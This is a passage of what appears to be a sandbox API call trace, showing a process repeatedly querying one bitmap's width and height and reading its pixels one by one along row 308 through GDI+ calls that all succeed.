returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipBitmapGetPixel (bitmap=0x4932230, x=78, y=308, color=0x31e3f0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipBitmapGetPixel (bitmap=0x4932230, x=79, y=308, color=0x31e3f0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipBitmapGetPixel (bitmap=0x4932230, x=80, y=308, color=0x31e3f0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.114] GetLastError () returned 0x0 [0114.114] GdipBitmapGetPixel (bitmap=0x4932230, x=81, y=308, color=0x31e3f0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipBitmapGetPixel (bitmap=0x4932230, x=82, y=308, color=0x31e3f0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipBitmapGetPixel (bitmap=0x4932230, x=83, y=308, color=0x31e3f0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipBitmapGetPixel (bitmap=0x4932230, x=84, y=308, color=0x31e3f0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipBitmapGetPixel (bitmap=0x4932230, x=85, y=308, color=0x31e3f0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipBitmapGetPixel (bitmap=0x4932230, x=86, y=308, color=0x31e3f0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.115] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.115] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=87, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=88, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=89, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=90, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=91, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=92, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipBitmapGetPixel (bitmap=0x4932230, x=93, y=308, color=0x31e3f0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.116] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.116] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=94, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=95, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=96, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=97, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=98, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=99, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=100, y=308, color=0x31e3f0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.117] GetLastError () returned 0x0 [0114.117] GdipBitmapGetPixel (bitmap=0x4932230, x=101, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=102, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=103, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=104, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=105, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=106, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=107, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipBitmapGetPixel (bitmap=0x4932230, x=108, y=308, color=0x31e3f0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.118] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.118] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipBitmapGetPixel (bitmap=0x4932230, x=109, y=308, color=0x31e3f0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipBitmapGetPixel (bitmap=0x4932230, x=110, y=308, color=0x31e3f0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipBitmapGetPixel (bitmap=0x4932230, x=111, y=308, color=0x31e3f0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipBitmapGetPixel (bitmap=0x4932230, x=112, y=308, color=0x31e3f0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipBitmapGetPixel (bitmap=0x4932230, x=113, y=308, color=0x31e3f0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipBitmapGetPixel (bitmap=0x4932230, x=114, y=308, color=0x31e3f0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.119] GetLastError () returned 0x0 [0114.119] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=115, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=116, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=117, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=118, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=119, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=120, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipBitmapGetPixel (bitmap=0x4932230, x=121, y=308, color=0x31e3f0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.120] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.120] GetLastError () returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=122, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=123, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=124, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=125, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=126, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=127, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.121] GdipBitmapGetPixel (bitmap=0x4932230, x=128, y=308, color=0x31e3f0) returned 0x0 [0114.121] GetLastError () returned 0x0 [0114.121] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.121] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=129, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=130, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=131, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=132, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=133, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=134, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=135, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=136, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=137, y=308, color=0x31e3f0) returned 0x0 [0114.122] GetLastError () returned 0x0 [0114.122] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.122] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.122] GdipBitmapGetPixel (bitmap=0x4932230, x=138, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=139, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=140, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=141, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=142, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=143, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=144, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=145, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=146, y=308, color=0x31e3f0) returned 0x0 [0114.123] GetLastError () returned 0x0 [0114.123] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.123] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.123] GdipBitmapGetPixel (bitmap=0x4932230, x=147, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=148, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=149, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=150, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=151, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=152, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=153, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.124] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.124] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.124] GdipBitmapGetPixel (bitmap=0x4932230, x=154, y=308, color=0x31e3f0) returned 0x0 [0114.124] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, x=155, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, x=156, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, x=157, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, x=158, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, x=159, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, x=160, y=308, color=0x31e3f0) returned 0x0 [0114.125] GetLastError () returned 0x0 [0114.125] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.125] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.125] GdipBitmapGetPixel (bitmap=0x4932230, 